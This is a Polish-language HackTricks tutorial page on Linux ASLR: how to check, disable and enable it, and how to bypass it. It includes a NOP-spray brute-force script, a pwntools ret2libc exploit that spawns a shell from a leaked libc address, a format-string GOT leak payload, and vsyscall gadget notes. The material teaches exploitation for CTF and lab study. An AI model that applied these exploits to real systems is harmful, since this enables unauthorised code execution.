ASLR
Reading time: 9 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Podstawowe informacje
Randomizacja układu przestrzeni adresowej (ASLR) to technika zabezpieczeń stosowana w systemach operacyjnych do randomizacji adresów pamięci używanych przez procesy systemowe i aplikacyjne. Dzięki temu znacznie trudniej jest atakującemu przewidzieć lokalizację konkretnych procesów i danych, takich jak stos, sterta i biblioteki, co łagodzi niektóre rodzaje exploitów, szczególnie przepełnienia bufora.
Sprawdzanie statusu ASLR
Aby sprawdzić status ASLR w systemie Linux, możesz odczytać wartość z pliku /proc/sys/kernel/randomize_va_space
. Wartość przechowywana w tym pliku określa rodzaj stosowanej randomizacji ASLR:
- 0: Brak randomizacji. Wszystko jest statyczne.
- 1: Konserwatywna randomizacja. Biblioteki współdzielone, stos, mmap(), strona VDSO są randomizowane.
- 2: Pełna randomizacja. Oprócz elementów randomizowanych przez konserwatywną randomizację, pamięć zarządzana przez
brk()
jest randomizowana.
Możesz sprawdzić status ASLR za pomocą następującego polecenia:
cat /proc/sys/kernel/randomize_va_space
Wyłączanie ASLR
Aby wyłączyć ASLR, ustaw wartość /proc/sys/kernel/randomize_va_space
na 0. Wyłączanie ASLR jest ogólnie niezalecane poza scenariuszami testowymi lub debugowania. Oto jak możesz to wyłączyć:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Możesz również wyłączyć ASLR dla wykonania za pomocą:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Włączanie ASLR
Aby włączyć ASLR, możesz zapisać wartość 2 w pliku /proc/sys/kernel/randomize_va_space
. Zazwyczaj wymaga to uprawnień roota. Włączenie pełnej randomizacji można zrealizować za pomocą następującego polecenia:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Utrzymywanie po restarcie
Zmiany wprowadzone za pomocą poleceń echo
są tymczasowe i zostaną zresetowane po restarcie. Aby zmiana była trwała, musisz edytować plik /etc/sysctl.conf
i dodać lub zmodyfikować następującą linię:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Po edytowaniu /etc/sysctl.conf
, zastosuj zmiany za pomocą:
sudo sysctl -p
To zapewni, że ustawienia ASLR pozostaną po ponownych uruchomieniach.
Obejścia
32-bitowe brute-forcing
PaX dzieli przestrzeń adresową procesu na 3 grupy:
- Kod i dane (zainicjowane i niezainicjowane):
.text
,.data
, i.bss
—> 16 bitów entropii w zmiennejdelta_exec
. Ta zmienna jest losowo inicjowana z każdym procesem i dodawana do początkowych adresów. - Pamięć przydzielona przez
mmap()
i biblioteki współdzielone —> 16 bitów, nazwanedelta_mmap
. - Stos —> 24 bity, określane jako
delta_stack
. Jednak efektywnie wykorzystuje 11 bitów (od 10. do 20. bajtu włącznie), wyrównane do 16 bajtów —> To skutkuje 524,288 możliwymi rzeczywistymi adresami stosu.
Powyższe dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia umożliwia obejście ASLR poprzez wielokrotne próby wykonania, aż exploit zakończy się sukcesem.
Pomysły na brute-force:
- Jeśli masz wystarczająco duży overflow, aby pomieścić duży NOP sled przed shellcode, możesz po prostu brute-forcować adresy na stosie, aż przepływ przeskoczy nad jakąś częścią NOP sled.
- Inną opcją w przypadku, gdy overflow nie jest tak duży, a exploit może być uruchomiony lokalnie, jest możliwość dodania NOP sled i shellcode w zmiennej środowiskowej.
- Jeśli exploit jest lokalny, możesz spróbować brute-forcować adres bazowy libc (przydatne dla systemów 32-bitowych):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Jeśli atakujesz zdalny serwer, możesz spróbować brute-forcować adres funkcji
libc
usleep
, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie serwer zajmuje dodatkowe 10s na odpowiedź, znalazłeś adres tej funkcji.
tip
W systemach 64-bitowych entropia jest znacznie wyższa i to nie powinno być możliwe.
Bruteforcing stosu 64-bitowego
Możliwe jest zajęcie dużej części stosu zmiennymi środowiskowymi, a następnie próba wykorzystania binarnego setki/tysiące razy lokalnie, aby go wykorzystać.
Poniższy kod pokazuje, jak można po prostu wybrać adres na stosie i co kilkaset wykonania ten adres będzie zawierał instrukcję NOP:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
Informacje lokalne (/proc/[pid]/stat
)
Plik /proc/[pid]/stat
procesu jest zawsze czytelny dla wszystkich i zawiera interesujące informacje, takie jak:
- startcode & endcode: Adresy powyżej i poniżej z TEKSTEM binarnego
- startstack: Adres początku stosu
- start_data & end_data: Adresy powyżej i poniżej, gdzie znajduje się BSS
- kstkesp & kstkeip: Aktualne adresy ESP i EIP
- arg_start & arg_end: Adresy powyżej i poniżej, gdzie są argumenty cli.
- env_start & env_end: Adresy powyżej i poniżej, gdzie są zmienne środowiskowe.
Dlatego, jeśli atakujący znajduje się na tym samym komputerze co binarny program, który jest wykorzystywany, a ten binarny program nie oczekuje przepełnienia z surowych argumentów, lecz z innego wejścia, które można skonstruować po odczytaniu tego pliku. Możliwe jest, aby atakujący uzyskał kilka adresów z tego pliku i skonstruował odchylenia na ich podstawie dla exploita.
tip
Aby uzyskać więcej informacji na temat tego pliku, sprawdź https://man7.org/linux/man-pages/man5/proc.5.html szukając /proc/pid/stat
Posiadanie wycieku
- Wyzwanie polega na podaniu wycieku
Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć odchylenia na jego podstawie (zakładając na przykład, że znasz dokładną wersję libc, która jest używana w systemie, który exploitujesz). Ten przykład exploita jest wyciągnięty z przykładu stąd (sprawdź tę stronę, aby uzyskać więcej szczegółów):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Wykorzystując przepełnienie bufora, możliwe byłoby wykorzystanie ret2plt do wyeksportowania adresu funkcji z libc. Sprawdź:
{{#ref}} ret2plt.md {{#endref}}
- Format Strings Arbitrary Read
Podobnie jak w ret2plt, jeśli masz dowolne odczyty przez lukę w formatach ciągów, możliwe jest wyeksportowanie adresu funkcji libc z GOT. Następujący przykład pochodzi stąd:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Możesz znaleźć więcej informacji na temat Format Strings arbitrary read w:
{{#ref}} ../../format-strings/ {{#endref}}
Ret2ret & Ret2pop
Spróbuj obejść ASLR, wykorzystując adresy w stosie:
{{#ref}} ret2ret.md {{#endref}}
vsyscall
Mechanizm vsyscall
służy do zwiększenia wydajności, umożliwiając wykonywanie niektórych wywołań systemowych w przestrzeni użytkownika, chociaż zasadniczo są one częścią jądra. Krytyczną zaletą vsyscalls są ich stałe adresy, które nie podlegają ASLR (Randomizacja Układu Przestrzeni Adresowej). Ta stała natura oznacza, że atakujący nie potrzebują luki w informacji, aby określić ich adresy i wykorzystać je w exploicie.
Jednak nie znajdziesz tutaj super interesujących gadżetów (chociaż na przykład możliwe jest uzyskanie odpowiednika ret;
)
(Następujący przykład i kod są z tego opisu)
Na przykład, atakujący może użyć adresu 0xffffffffff600800
w exploicie. Próba bezpośredniego skoku do instrukcji ret
może prowadzić do niestabilności lub awarii po wykonaniu kilku gadżetów, skok do początku syscall
dostarczonego przez sekcję vsyscall może okazać się skuteczny. Starannie umieszczając gadżet ROP, który prowadzi wykonanie do tego adresu vsyscall, atakujący może osiągnąć wykonanie kodu bez potrzeby omijania ASLR w tej części exploitu.
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
vDSO
Zauważ, jak może być możliwe obejście ASLR wykorzystując vdso, jeśli jądro jest skompilowane z CONFIG_COMPAT_VDSO, ponieważ adres vdso nie będzie zrandomizowany. Po więcej informacji sprawdź:
{{#ref}} ../../rop-return-oriented-programing/ret2vdso.md {{#endref}}
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.